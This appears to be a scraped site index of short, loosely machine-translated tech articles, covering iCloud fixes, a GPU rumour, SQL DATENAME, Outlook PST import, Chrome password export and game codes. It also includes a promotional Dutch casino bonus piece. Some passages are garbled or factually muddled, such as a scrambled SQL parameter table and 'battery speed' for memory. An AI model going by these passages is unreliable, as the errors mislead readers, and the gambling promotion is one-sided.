Johnson\n  \nFormer American wrestler and professional actor currently uses the @therock nickname on Instagram and has 126 million followers.\n3. Ariana Grande\n  \nFemale singer and actress born in 1993 currently owns Instagram account of 141 million followers.\n2. Selena Gomez\n  \nAmerican singers and actors now have 144 million followers on personal Instagram @selenagomez.\n1. Cristiano Ronaldo\n  \nOur champion position, a name that cannot be more worthy, is CR7. Portuguese football star, who plays for Italian club Juventus, now owns Instagram account with 149 million followers, an extremely impressive number!\nAbove is a list of the 50 most watched Instagram accounts in 2018. They are all very familiar names for us. Hopefully, in 2019 these artists, athletes or brands will achieve even more success!\nSee more:\nThe Instagram interface unexpectedly changes to horizontal browsing like Tinder, and it's \"error\". Experience the new user interface and the Dark mode of Facebook Messenger Google adds spam protection for Google Messages The most fascinating and odd technology stories of 2018 ncG1vNJzZmismaXArq3KnmWcp51kgnF5zKiqrWWgpL22uMCrZKKmo6muqL7ApmSam5Okwq%2FA0magp2ViZX55\n","link":"/post/50-most-popular-instagram-accounts-in-2018/","section":"post","tags":null,"title":"50 most popular Instagram accounts in 2018"},{"body":"If using Apple devices, such as iPhone, iPad or Mac, you may also use iCloud services. iCloud is Apple's cloud storage service, storing user data securely in the cloud and easily accessible via multiple devices.\nWhat is iCloud? How to access iCloud account on Windows Users use iCloud to safely store photos, videos, documents, mail, music, applications and more. ICloud data synchronization feature helps everything on Apple devices be updated quickly. In general, iCloud works fine, but sometimes users encounter some problems. This article will present nine common iCloud issues that users often encounter and how to fix them.\n1. Cannot connect to iCloud   When you log in to iCloud, you may get a Can not Connect to Server error. The first solution is to check the status of Apple's server by visiting Apple's status page. If you see the green color, it means that the status of the Apple server is good, if it is yellow or red, the server is having problems or during maintenance, so you have to wait for the process to finish.\nSometimes you need to verify your iCloud account using updated terms and conditions to be able to work again.\nStep 1 : Go to Settings\u0026gt; [Your Name] (at the top).\nStep 2 : If there are any changes in Terms \u0026amp; Conditions , you will see a message appear to agree to verify the account.\nStep 3: If you have changed your password for security reasons, you must log in with your new password to verify your account.\nAnother simple solution is to log out and log back on. This fix can apply to iCloud accounts as well as Apple ID accounts for iTunes or Apple Store.\nStep 1: Access Settings\u0026gt; [Your Name]\u0026gt; Sign Out . For iTunes and the App Store, go to Settings\u0026gt; [Your Name]\u0026gt; iTunes \u0026amp; App Store .\nStep 2: Choose your account.\nStep 3: Scroll to the bottom and touch Sign Out to log out iCloud. For Store, click on your account and then touch Sign Out in the menu notification.\nIf the above still does not fix the problem, use Recovery Mode on the iOS device.\n4 troubleshooting tips when unable to connect iCloud to the server 2. Asynchronous iCloud data   Although iCloud automatically syncs, sometimes it happens and can not move. If you encounter this problem, follow the troubleshooting steps below:\n1. Restart the device and wait.\nHow to restart iPhone on iOS 11 when not using the power button 2. Be sure to log in to the correct account on all devices. To check, just go to Settings\u0026gt; [Your Name] on each iPhone or iPad device.\n3. Again, make sure the Apple servers are working by checking the status page.\n3. iCloud does not save application data   Normally, apps use iCloud Drive to store data by default. However, sometimes users have to manually turn on the application to save to iCloud in the application settings or through the permission message when installing the application. To check that the application is enabled:\nSet up iCloud Drive on iOS 8 and Mac OS X 10.10 Yosemite Step 1 : Go to Settings\u0026gt; [Your Name]\u0026gt; iCloud .\nStep 2 : Scroll through the application list and make sure the apps you want to save in iCloud are turned on.\n4. Suspended at iCloud login screen or installing iCloud update   If you log in to iCloud on a device and it crashes, but Apple's server is still active, take the following steps:\nStep 1 : Turn off the phone by holding the power button.\nStep 2: Press the power button until the Apple icon appears.\nStep 3: Re- enter your iCloud account information in Settings .\nIf this happens while in Setup Assistant after updating or setting up a new device and requesting iCloud setup, the reboot also fixes the problem.\n5. \"Authentication Error\" error when logging into iCloud   When logging into iCloud, if you get an 'authentication failed' error message, follow the steps below.\nStep 1 : Visit appleid.apple.com.\nStep 2: Log in with your Apple ID or iCloud account.\nStep 3: If you still can't login, try resetting your account password by clicking the link Forgot Apple ID or password? on page.\n6. \"Unsupported Apple ID\" error when logging in to iCloud   Creating an Apple ID is quite simple, but it can be in the process of creating a user account that performs a wrong or mistaken operation that leads to an error later. Normally, if an Apple ID works with iTunes Store, App Store, Game Center, FaceTime, and other Apple services, it will work with iCloud. However, if this account does not work with these services, it does not work with iCloud. To fix this problem, you need to contact Apple for assistance.\n7. Exceed the iCloud storage limit   When starting to use iCloud for many things, the memory capacity will be very fast because it cites high quality photos, videos, documents and other data on iCloud Drive.\nThings to know about backing up your iPhone and iPad Apple provides users with 5GB of iCloud memory for free. But often this capacity is not enough and many users get notified that they are about to or exceed the storage limit of iCloud. When you receive this message, you cannot perform daily backups or save additional files to iCloud until the problem is fixed. There are two options to increase storage capacity: delete unnecessary data or buy more storage.\nWith the first way, to delete unnecessary data on iCloud.\nStep 1 : Go to Settings\u0026gt; [Your Name]\u0026gt; iCloud , tap Manage Storage .\nStep 2: You will see all the applications and services stored in iCloud in descending order, sorted by the largest amount of data.\nStep 3: Touch an item to see its content and size.\nStep 4: To delete data, simply touch the Delete Documents \u0026amp; Data option (or similar option, depending on the item).\nStep 5 : Wait a few minutes while iCloud purifies the selected data from your memory.\n  If you don't want to delete any data, you can buy more storage space, do this right on your iOS device.\nStep 1: Go to Settings\u0026gt; [Your Name]\u0026gt; iCloud\u0026gt; Manage Storage .\nStep 2: Select Change Storage Plan .\nStep 3 : You will see your current storage, along with the available updates below.\nStep 4 : Apple's iCloud storage package starts at 1 USD / month for 50GB, and up to 2TB for 10 USD / month.\nStep 5: Select the type of capacity you want and then click on Buy . You will have additional capacity immediately after payment and the payment date is the purchase date.\nStep 6 : Apple charges monthly until you cancel the package. If there is a prepaid package and need to upgrade, Apple will cancel the current package and charge for the new package.\n8. Cannot log in or log out of iCloud: \"Verification Failed\" error   When logging in or out of your iCloud account in Settings of iPhone or iPad, you receive a \" Verification Failed \" error message, there are several ways to fix this problem:\n1. Perform a hard reboot of your phone.\n2. Be sure to connect to Wi-Fi, this is a common problem after updating the device software.\n3. The date and time of the device may not be accurate, thus causing verification problems. Fix this problem by going to Settings\u0026gt; General\u0026gt; Date \u0026amp; Time . Make sure the Automatically Automatically Set option is on.\n4. Using another device with the same Apple ID, go to Settings\u0026gt; [Your Name]\u0026gt; Password \u0026amp; Security\u0026gt; Get Verification Code . Then, enter the 6-digit code to enter on another device (the device has a verification error) if two-factor authentication is used.\n9. iPhone requires iCloud password   This is an old error but often appears. When using iPhone, a message appears asking for iCloud information. After entering the information, a few minutes later a message asking to enter again. This makes the user very frustrated, so how to do it?\nfirst.\u0026nbsp; Restart your phone in the usual way using the power button or using a hard restart method.\n2. Log out and log back in to your iCloud account. Go to Settings\u0026gt; [Your Name]\u0026gt; Sign Out. When the message appears, tap Delete from Phone , then log in again.\n3. Make sure the Apple server is working by checking the status page.\n4. If no way above works, try resetting your Apple account password at appleid.apple.com. Enter the new password at the prompt when it appears.\n5. The last option is to backup and restore the device. Because this process may take a long time, make sure there are no other solutions to work before taking this measure.\nSee more:\nForgot your iCloud password and the fastest way to recover Instructions on how to access iCloud Photos on computers and laptops How to recover iCloud data when mistakenly deleted ncG1vNJzZmismaXArq3KnmWcp51khm65zqyrZqifpcKtrdFmoKyrpZrAbrvFZqCcpJ%2BqsW6tzZ1koaenYsGwecWirw%3D%3D\n","link":"/post/9-most-popular-issues-of-icloud-and-how-to-fix/","section":"post","tags":null,"title":"9 most popular issues of iCloud and how to fix"},{"body":"Although the 'problem' of supply shortage in the global graphics card market seems to have gradually cooled down recently, the general situation is still very 'hot'. As a result, every upcoming dedicated GPU model gets a lot of attention from the community, especially for gamers, and the AMD Radeon RX 6600 XT is no exception.\nAccording to leaked information from many reliable sources, it seems that the Radeon RX 6600 XT will not have a good price as many people expect, but in return will also own slightly higher performance than anticipated. there.\nSpecifically, according to leaked sources, Radeon RX 6600 XT is likely to be launched by AMD in August, with a selling price of about 399 USD. Of course, this is just the list price. With the current 'price turmoil' in the GPU market, the final price could be very different. 399 USD is a pretty high number compared to the 299 - 329 USD that analysts say, and at the same time puts the Radeon RX 6600 XT at the same level as the RTX 3060 Ti.\nNotably, this is also the same price that AMD offers for the previously launched Radeon RX 5700 XT, which is based on a more advanced chip than Navi 23. There is still no satisfactory answer to the question of why the price is. such a sharp increase, is it due to difficulties from the supply chain? But if the RX 6600 XT's $399 price tag is real, it seems that paying extra for the RX 6700 XT would be a more sensible decision.\n  In terms of performance, the RX 6600 XT is said to have a power close to the Radeon RX 5700 XT and almost on par with NVIDIA's GeForce GTX 1080 Ti - with a difference of only about 5% - no too significant. However, this is just a rumor, and we can completely expect more because the RX 6600 XT will nonetheless be a well-clocked RDNA 2 GPU model. Overall, it will be interesting to see the real performance of the RX 6600 XT based on the Navi 23 GPU, but for now, the price is being considered as the biggest weakness of this graphics card.\nGoing deeper into the configuration, the AMD Radeon RX 6600 XT will be powered by the Navi 23 XT GPU with 32 Compute Unit. The card will also own 32MB Infinity Cache, along with 8GB GDDR6 RAM running on a 128-bit wide bus interface. As for the Navi 23 GPU itself, it measures 237mm2 and includes 11.06 billion transistors. However, this is still not the smallest chip in the RDNA 2 family, because that title must belong to Navi 24.\nThe battery speed will be kept at 16Gbps, bringing the total bandwidth to 256GB/s. According to previous rumors, the RX 6600 XT is expected to give a performance of 30MH/s during Ethereum mining, and in terms of aggregate performance, the card scored 9439 in the 3DMark Time Spy graphics test.\nAbove are all the notable rumors about AMD Radeon RX 6600 XT, TipsMake.com will continue to update when the latest information is available. Welcome to invite your attention to read.\nncG1vNJzZmismaXArq3KnmWcp51krq6wjKuYnZ2fo3qzxIxvbWloXa3Bbq3SZqqtqp%2BjtG6t0malr6GUnq5us9OxZGpoaGV6tbWMqamim5WZeqLAjJqZqK2kYoB6hYyuqp1lopq5pq3SnptmoZ5irraz1Kyr\n","link":"/post/as-strong-as-nvidia-gtx-1080-ti-priced-at-about-399-usd-released-in-august/","section":"post","tags":null,"title":"As strong as NVIDIA GTX 1080 Ti, priced at about 399 USD, released in August"},{"body":"Game Mobile Legends: Bang Bang carries the spirit of a familiar eSport game with beautiful graphics and traditional gameplay in the style of combat role-playing.\nLike many other games, Mobile Legends: Bang Bang regularly provides gamers with redemption codes, bringing valuable items. Follow the article to learn how to enter the code and constantly update the latest Mobile Legends: Bang Bang codes.\nInstructions to enter code Mobile Legends: Bang Bang Step 1: First, gamers need to open Mobile Legends: Bang Bang on their device.\nStep 2: In the game, everyone will have to find their account ID by tapping on the profile icon and on the right side of the screen. In the Profile tab, the player will see a long row of numbers, in the following format ID: 123456789 (12345). The sequence of numbers to be saved here is the longer number before, bolder.\n  Step 3: Record that sequence of numbers and navigate to Mobile Legends: Bang Bang's redemption code entry page.\nStep 4: On the website, enter the exact code provided in the Redemption Code box, the Game ID saved in the previous step, then click Send.\n  Step 5: Everyone will receive an email with an in-game confirmation code. Copy and paste it into the Verification Code box on the web page. The confirmation code is only valid for 30 minutes, so players need to enter it during this time.\nStep 6: After pressing Redeem, return to the game and check your mailbox to collect rewards.\n  The latest Mobile Legends: Bang Bang codes All gift codes in Mobile Legends: Bang Bang have an expiration date, so players need to quickly enter the code to avoid the code being invalid. In addition, everyone needs to pay attention to enter the correct code, including uppercase, lowercase letters and special characters, to ensure receiving the reward.\nmepjct6ewbgs22et7 (new) j3gdbbsdx6x622evy (new) zmqa6n3sa3qr22et6 (new) ffp788wrmwkp22evw (new) 9v72xfszb4xb22eg5\u0026nbsp; 3t9b8yxzphxr22eg6\u0026nbsp; EAKSUY228C\u0026nbsp; t3gq5y2ercq422edf\u0026nbsp; v9dy3np45wkx22e74 ya5wwjzj8bmf22e73\u0026nbsp; c26pvj2ejdhp22e72 WEBELIEVE\u0026nbsp; HOLAMLBB\u0026nbsp; f2tp5ht3988322cga mio9cq8i0\u0026nbsp; 76ez9w8i4\u0026nbsp; 85k9bhqx4brk22drj prscdrtn3am722dew is50058hz gm7vca9aku2j22dty nf2pxqkba5ba22dty qhv8t3cze2qd22dty STEVENHEXMAS CLASHBASHINGXMAS 7tmaf59eqv5n22dg5 naysf92zdbsj22dx6 r57wftehjqyb22dx4 vfy8dnwsjpwy22dj2 my5urny6wsv822dhn g6uduyqv6njx22dey e9d8dg2jtzht22dg9 axnxfb8i1 z4f9vxjetac922dg4 Mobile Legends ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWadnqmys7XNoGStoJViuaLAxKyrZqWfl7atsYylnKCdnpnAbq7Ap55mmpGjtG6vzp2crGWRo7Fur86dnKw%3D\n","link":"/post/bang-bang-codes-and-codes/","section":"post","tags":null,"title":"Bang Bang codes and codes"},{"body":"To remove traces after using a browser such as browsing history, cookies or other data, many people often open Incognito Mode on Google Chrome when surfing the web. But in fact on the Chrome version for mobile, this incognito mode is not really safe as we think, some information when browsing the web is still collected.\nSpecifically, the activity log on the user's Chrome browser is still saved by Android devices in a record.\n  You can access and view this recording details via some applications such as Activity Launcher or Nova Launcher. A user with the nickname Mas_Zeta shared on the Reddit discussion page that if you play videos on Chrome, whether it's private or not, the Notification Log will display some basic information such as titles or messages. believe about that video.\nYou can use another browser to secure your information, such as Firefox Focus. Or to delete the information that the Notification Log has saved by restarting the device after browsing the web.\nSee more:\nIncognito mode in the browser is not as safe as you think Face point 15 the safest web browser for Android 5 simple ways to safely browse the web Delete Google Chrome browsing history on Windows and Mac ncG1vNJzZmismaXArq3KnmWcp51ksKm%2BzqacrGWZo7Cws82iq6hlnaSxpnnIrGSnp6RirrR5w6KqnKqVmsFurdJmsKitXam1qrrK\n","link":"/post/chrome-s-incognito-mode-is-not-as-discreet-as-you-think/","section":"post","tags":null,"title":"Chrome's incognito mode is not as discreet as you think"},{"body":"This article will show you in detail how to use the DATENAME () datetime processing function in SQL Server with specific syntax and examples to better visualize and capture functions.\nDescribe The DATENAME function in SQL Server returns a time value of the input argument, which can be day, month, year, quarter, hour, minute, second, millisecond . The return value is a string type (ASCII)\nSyntax To use the DATENAME function in SQL Server, we use the following syntax:\n DATENAME(dangthoigian, thoigian)  Parameters :\ndangthoigian: the type of time you want. It may be one of the following values: Value Explanation year, yyyy, yy Yearquarter, qq, qQuýmonth, mm, mThdaydayofyearDate in daysday, dy, yYdayweek, ww, wkTuwwdayday, dw, w Day of the day, hhGinminute, mi, nPhútsecond, ss, s Millisecond, msMis second thoigian: the amount of time you want to retrieve a value. Note :\nThe DATENAME function returns the result as a string value. See also the DATEPART function that returns the same result as an integer value. DATENAME can be used in later versions of SQL Server: SQL Server 2017, SQL Server 2016, SQL Server 2014, SQL Server 2012, SQL Server 2008 R2, SQL Server 2008, and SQL Server 2005. For example Take a look and explore some examples of DATENAME functions in SQL Server.\nSELECT DATENAME(year, '2019/04/28'); Result: '2019' SELECT DATENAME(yyyy, '2019/04/28'); Result: '2019' SELECT DATENAME(yy, '2019/04/28'); Result: '2019' SELECT DATENAME(month, '2019/04/28'); Result: 'April' SELECT DATENAME(day, '2019/04/28'); Result: '28' SELECT DATENAME(quarter, '2019/04/28'); Result: '2' SELECT DATENAME(hour, '2019/04/28 09:49'); Result: '9' SELECT DATENAME(minute, '2019/04/28 09:49'); Result: '49' SELECT DATENAME(second, '2019/04/28 09:49:12'); Result: '12' SELECT DATENAME(millisecond, '2019/04/28 09:49:12.726'); Result: '726'  Previous article: DATENAME function in SQL Server\nNext article: DATEPART function in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51ksaLAxKeYpp1dm8Kvr9OipqdlmaN6tL3LZqqeqqaavw%3D%3D\n","link":"/post/datename-function-in-sql-server/","section":"post","tags":null,"title":"DATENAME function in SQL Server"},{"body":"Google Go is an improved version of Google Search Lite, lightweight, compact and full of extremely useful features suitable for Android devices with a poorly configured configuration. This is a good replacement for the Google app available on Android.\nSince 2017, Google has launched a version of Google Go, but it is only released in a limited number of countries. But recently, this technology giant has officially launched Google Go worldwide. Right now, you can download and experience this useful application.\nGoogle Go: A lighter, faster way to search   Google Go is integrated with many utilities that allow users to search by voice, search for images, access YouTube .\nThe application also adds a new feature, Lens (Lens), that allows users to use the device's camera to read, translate and search. With this new feature, when you want to translate or read any type of text, users simply open the Lens and point the device's camera at it, the application will translate or read text for you.\nGoogle released the Socratic application, which helps students solve photo assignments ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqSRqruktMSdZKCnn5y5pnnGqGSwp6Khsbi1w55knrCkp7KuscuyZKWhl53BbsLEq6qip55ixKrAx2akmqapYsK0scWuo2aelZbBtr7ErGScmZ5iv6a8y5qanmWknbJus86onp5lkaW9rbXCmquip54%3D\n","link":"/post/google-launched-google-go-worldwide-extremely-light-version-with-many-useful-features-can-replace-the-googe-application/","section":"post","tags":null,"title":"Google launched Google Go worldwide, extremely light version with many useful features, can replace the Googe application"},{"body":"Competition when it comes to the online gambling market is huge. There's simply no denying that. As a consequence, many casino providers are doing their best in order to stand out in the crowd of reliable Dutch online casinos in the Netherlands or in Europe in general. But, it is very challenging to stand out in a crowd of platforms that are pretty much the same, especially when it comes to game selection. Therefore, casinos are now trying to attract tension by offering different bonuses that players can enjoy. So if you enter practically any online platform in the Netherlands, you will see Holland casino promo code advertising as another bonus. But today, we wanted to focus not only on the types of bonuses but on possible ways you can use them to your advantage and maximize your wins.\n  Difference Between Real-Life and Online Casinos Before we start, you need to understand the basic differences between real-life casinos and online ones. If you go to any real-life casino in the Netherlands, even a reliable one, there is no guarantee that you will be getting any bonuses. That is why many people prefer snelst betalende casinos when compared to real-life casinos. Yes, the experience might be quite different, yet winnings and bonuses make up for it.\nSo we advise you to start your search with a Dutch online casino with no minimum deposit. We will get to this a little bit later, but zero or minimum deposit is yet another bonus you can get. Not every single online platform will offer this to you. But those who do can be considered reliable and profitable for you. After all, you don't want to deposit €50 without knowing whether this casino will actually be reliable or entertaining to you.\nWhat are online casino bonuses? Now we can get to the fun part and discuss different types of bonuses. Everything will depend on the casino you have chosen. This means that even though bonuses are rather similar in every single place, they will slightly differ, including deposits and wagering amounts. A license also plays a crucial role. You can only trust casino licentie in Nederland and not other platforms that are not licensed to provide their services. So if you see Holland casino free spins, you still might want to check how much you need to deposit to get this bonus.\nOf course, before committing to anything, check whether your casino is actually reliable and trustworthy. You can do it by searching for licenses or reviews from other customers. But now, you also might be asking whether a license can affect the way you get bonuses. Well, a license will definitely affect the way the casino is processing payments. At the same time, payment methods directly correlate with bonuses. So our answer is yes, license and bonuses are connected.\nWhat bonuses are available at the Dutch casino? We have already mentioned a casino with no minimum deposit. But did you know that it is yet another bonus you can have? The majority of casinos will require rather high deposits. It is a good way for providers to ensure that you are actually playing and not trying to withdraw your money. There is also why they have a wagering percentage. You cannot withdraw money until you receive or play a certain amount.\nIs it a good indicator that a casino cannot be trusted? No, even reliable casinos do have wagering and deposits. The same can be said about other bonuses, including Holland casino free spins and welcoming discounts.\nHow to maximize bonuses at Dutch casinos? We always advise you to do prior research and search for a casino with no minimum deposit. A normal Google search like 'free spins no deposit Netherlands' is a good start. Do you also remember that we told you to always check the license? If your platform is not official, there is no telling whether they're mathematical models or practically anything else is legal and trustworthy. But, if it has a license, here are some of the bonuses you can expect:\nFree spins Low minimum deposit Welcoming bonus Final Thoughts In conclusion, now you definitely understand that bonuses are not actually unique for casinos. The majority of them do over free spins, no deposit Netherlands and welcome bonuses. But, it doesn't mean that you shouldn't use them. So if you stumble upon Holland casino free spins, use them. It is one of the few ways to actually maximize your winnings from a casino. If they offer something, do research, and use it.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXq1tMRmpKirpGK8tsCMqJ1mmp%2BjwrSx0maYrWWRYrG2wMKhZJyZo567sA%3D%3D\n","link":"/post/how-to-get-the-most-out-of-bonuses-at-a-dutch-casino/","section":"post","tags":null,"title":"How to Get the Most Out of Bonuses at a Dutch Casino"},{"body":" This wikiHow teaches you how to import data to your Office 365 Outlook account from a saved PST file on Windows or macOS. A PST file contains contact information, email folders, addresses, and other mail data. You can import all your...\nMethod 1of 2:\nUsing Windows  Open the Outlook app on your computer. The Outlook icon looks like a white \"O\" in a blue square in front of an envelope icon. You can find it on your Start menu.\n  Click the File tab on the top-left. You can find this button above the toolbar ribbon at the top of your screen. It will open your file options on a new menu.\n  Click Open \u0026amp; Export on the menu. You can find this option on a blue navigation menu on the left-hand side.\n  Click Import/Export on the menu. This will open the Import and Export Wizard in a new pop-up window.\n  Select Import from another program or file. It's in the \"Choose an action to perform\" box.\n  Click Next. This will open a list of different file types you can import.\n  Select Outlook Data File (.pst) and click Next. This will allow you to select and import your PST file in the next step.\n  Click Browse under \"File to import.\" This button is in the upper-right corner of the Wizard window. It will open a new pop-up. You can select how you want to deal with duplicate items under \"Options\" here.   Select the PST file and click Open. If your PST file is password protected, you'll be prompted to enter it here.\n  Click Next.\n  Select Import items into the same folder in at the bottom. When this option is selected, you can specify your Office 365 mailbox, and import your PST here.\n  Enter your Office 365 account email into the text field. You can click the drop-down and select your email, or manually type it here.\n  Click the Finish button. This will start importing all the data from your PST file to your Office 365 mailbox. You'll see your import progress in a pop-up box. The pop-up will automatically disappear when your import is finished.\n Method 2of 2:\nUsing a Mac  Open Outlook (Office 365 version) on your Mac. The Outlook icon looks like a white \"O\" in a blue square in front of an envelope icon. You can find it in your Applications folder. Make sure you have your Outlook version installed through your Office 365 subscription. If you have a different version, you can download the installer at https://www.microsoft.com/en-us/download/details.aspx?id=45492. If you have a different version of Outlook the app icon may look like a yellow \"O.\" To view your Outlook version, click the Outlook tab on your Mac's menu bar on the top-left, and select About Outlook. If you have the Office 365 version you'll see \"Office 365 Subscription\" next to \"License.\"[1]   Click the Tools menu. You can find this button above the toolbar ribbon at the top of the window.\n  Click Import on the toolbar. This button looks like a green, downward arrow and a blue figurehead in front of a table icon. It will open the Import window.\n  Select Outlook for Windows archive file (.pst). Select this option when you're prompted \"What do you want to import?\" in the Import window.\n  Click Continue. This will open your file navigator in a new pop-up, and allow you to select the PST file to import.\n  Select the PST file and click Import. This button is in the lower-right corner of the file navigator pop-up. It will start importing the data from your PST file.\n  Click Finish. When your import is finished, click this button to close the Import window.\n  Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGdpbyzwIypqq1llp65pr%2BMraZmp5abtqSxjGxtbg%3D%3D\n","link":"/post/how-to-import-pst-files-to-office-365/","section":"post","tags":null,"title":"How to Import PST Files to Office 365"},{"body":"The alarm on the phone has a repeating mode according to the time we choose on different days of the week. Thus users do not need to create many different alarms for each day, but can also use 1 alarm. With the alarm on the iPhone, we can completely adjust the repeat time according to the needs of use. If we create many different alarms, we can name each alarm to easily distinguish and manage. The following article will guide you how to repeat the alarm on iPhone.\nThe best alarm app on Android How to set alarm and timer in Windows 10 How to create interesting math-style alarms on iPhone How to create and manage alarms on Apple Watch Instructions for repeating alarm schedules on iPhone Step 1:\nUsers click on the Clock app in the device interface. Next we click on the Alarm section below, then click the plus icon in the top right corner to add an alarm schedule.\nWe select the time we want to create the alarm and click on the Repeat item below.\n   Step 2:\nDisplays the time of the week for users to select the time to repeat to select. Click on Back to the top left corner.\n   Step 3:\nNext, click on the Label tab to name the alarm for easy management. We enter the name of the alarm we want to set and press Back. Then, click Save to save the alarm.\n    Step 4:\nAs a result we will see the alarm calendar created. If you want to turn off the alarm, just turn the round button to the left to turn it off. If you want to delete this alarm schedule , drag from right to left to delete.\n   So the alarm on iPhone will repeat according to the time interval created and according to the day of the week you selected. When created, users can completely change the time to schedule the alarm, or delete the alarm if you do not want to use.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVpbKiwIytn55lkaGus7mMqKVmoaCdvK%2Bx\n","link":"/post/how-to-repeat-the-alarm-on-iphone/","section":"post","tags":null,"title":"How to repeat the alarm on iPhone"},{"body":"The character's hair is always the part that makes newbie brothers have a headache when they want to separate. Normally, if you only use the Lasso Tool, it is impossible to separate the entire hair with complex small details.\n  In fact, there is a very simple way to isolate the character and that messy hair from the background using the Channels function.\nStay tuned for this article!\nSeparate hair from background in Photoshop Step 1: Open the image you want to process in Adobe Photoshop.\n  Step 2: Right-click on the image layer, select 'Duplicate Layer .' to create a Layer copy.\n  Step 3: Select the Channel function in Windows \u0026gt;\u0026gt; Channels.\n  Step 4: In the Channels window, select the channel that shows the most contrast in the image. In this photo, it's Blue.\n  Step 5: Right-click on the Blue channel, select Duplicate Channel . to make a copy for the channel.\n  Step 6: In the newly copied Channel, adjust the contrast between the object and the background for greater clarity using the Levels: Image \u0026gt;\u0026gt; Adjustment \u0026gt;\u0026gt; Levels function.\n  Adjust the contrast so that you see it most clearly (highlight the difference between people and the background).\nStep 7: Press Ctrl + I to invert the colors.\n  Step 8: Use the Eyedropper tool (I) to copy the white color and the Brush to whiten the whole character.\n  Step 9: Hold Ctrl and click on Channel Blue Copy, all characters will be highlighted.\n  Step 10: Select again Channel RGB, make a copy of the working layer.\n  So you've successfully separated the character and hair from the background correctly. Now just add a background image you want.\n  Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVpa6zrdOeZKGZmad6p77OpmStoJVir6KvyqCpqK2emXqquoypn6isn6i1sLw%3D\n","link":"/post/how-to-separate-hair-from-the-background-in-photoshop/","section":"post","tags":null,"title":"How to separate hair from the background in Photoshop"},{"body":" This wikiHow teaches you how to upload videos to Twitter from your Android phone or tablet, as well as how to use the Twitter app to record new video. Open Twitter on your Android. It's the blue and white bird icon typically found on the...\nMethod 2of 2:\nRecording New Videos  Open Twitter on your Android. It's the blue and white bird icon typically found on the home screen or in the app drawer.\n  Tap the New Tweet icon. It's the feather icon at the bottom-right corner of the screen.\n  Tap the Photo icon. It's the outline of a painting near the bottom-left corner of the tweet. If it's your first time sharing a photo or video, you may have to grant the app permission to access your files.   Tap Video. It's the icon of a video camera near the top-center part of the screen. This opens the video camera screen. If prompted to grant the app permission to your Android, follow the on-screen instructions to do so.   Tap and hold the video camera icon to record. Continue holding the button until you are finished recording. Once you lift your finger, a thumbnail of the video will appear below the camera screen.\n  Record additional clips. You can record more short clips the same way you did the first, stringing them together to make one longer video. Each subsequent clip will appear in the preview area in the order they were recorded.\n  Edit a clip. There are two ways to adjust your video before uploading it to Twitter: To delete a clip, tap and hold the thumbnail, then drag it upward. To reorder clips, tap and hold one of the thumbnails, then drag and drop it into the desired position.   Type the text of your tweet. If you want to include text, tap above the video thumbnail, then type your tweet. Tap X if you want to discard the video. Tap the play button to view a preview, or the pencil to return to editing mode. Tap Add location to include your current location in your tweet.   Tap Tweet All. Your video and tweet will now upload to your Twitter feed.\n  Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gobyisIytrqKspJq%2FbsLInZyoq12ku26tzZ2pqKGU\n","link":"/post/how-to-upload-twitter-videos-on-android/","section":"post","tags":null,"title":"How to Upload Twitter Videos on Android"},{"body":"The password backup feature in the browser is a utility that helps users manage their saved passwords and access frequently accessed websites in the most convenient and convenient way to log in.\nHere, I will guide you how to backup your password the most simple way.\nStep 1: Usually when we access a certain website for the first time, after entering the username and password, Chrome or Coc Coc will display a message asking us to save our password.\nFor example with page id.zing.vn\n  Step 2: Click Save to save the password on memory.\nAfter saving the password, every time we visit the site, we will not have to enter the password anymore, which Chrome or Coc Coc will automatically fill in for us.\n  It's simple, right!!\nNote : Saving passwords via Chrome (Coc Coc) in addition to giving us the convenience of logging in to your favorite website with just one click also helps us limit the risk of password leakage by the parts. spyware records keyboard typing history such as keyloggers or Man in the middle data-snooping attacks when using public WiFi. However, we should use the feature to save passwords for our personal computers, avoid using public computers, it will be easy for strangers to see.\nManage and backup passwords Regarding the saved password management, we can view, or delete by clicking on the 3 dots (1) in the right corner, select Settings  (2) (Settings) . A new tab appears.\n  Click on Advanced\n  Select Password and form (Passwords and forms)\n  A dialog box will appear giving us information about the list of websites we have saved passwords.\n  Want to see the saved passwords we can click the eye icon to review your password.\nTo prevent the computer from reinstalling or losing data, we can use the feature to export the password to an Excel file (click on the 3 dots above the saved password line).\n  Select Export\n    The saved file will contain the information in order:\u0026nbsp; name, url, username, password.\nRecover saved passwords Similarly, to restore the saved password, we have to repeat the above steps but instead of the option to export the password, we click Import saved password (Import)\n  Then select the password file we just saved and select Open . Accomplished\n  Note: If you do not see the option to export and import the password, it is likely that this feature is disabled on Chrome or your Coc Coc, to enable this feature we access the address of Chrome: // flags\n  Navigate to the Export password (Export password ), Enter the password (Import password) change the setting from Default (Default) to On (Enabled) .\nAbove is a guide to backup and restore passwords for Chrome, Coc Coc. Hopefully the article will help those who need to access the website conveniently without entering a password. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnBmpqkraBirq%2BwjKucrKyfp7JuvMCsqrCnopnAbrvNZpqhqp%2Bism6vzpxknKeT\n","link":"/post/instructions-on-how-to-backup-and-restore-passwords-on-chrome-coc-coc/","section":"post","tags":null,"title":"Instructions on how to backup and restore passwords on Chrome, Coc Coc"},{"body":" Free software Update date: February 1, 2021 Platforms: Web, Android, iOS Download Google Meet (Android) here.\nDownload Google Meet (iOS) here.\nGoogle Meet (web) here.\nGoogle Meet is available on the web and phones and tablets for Android and iOS.\nGoogle Meet is primarily designed as a way of organizing video meetings. However, you can turn on the camera and microphone independently, so you can also use the app for audio calls if you want.\nYou can make a call and invite your friends or family members to join. They can join by entering the meeting code provided by you, or you can send them a link to click on.\nOne of the best things about Google Meet is that you don't need to install any software on your computer. Everyone on the call (organizer and attendees) just need to use a modern web browser.\n  What are the best features of Google Meet? With the free plan, Google Meet supports meetings up to 1 hour, although this has been extended to 24 hours until September 30, 2020.\nYou can create and join as many meetings as you like, so there's nothing stopping you from holding a second meeting if you reach the specified time limit.\nUp to 100 people can join in the same meeting. As the meeting organizer, you can mute others, which is what you need to 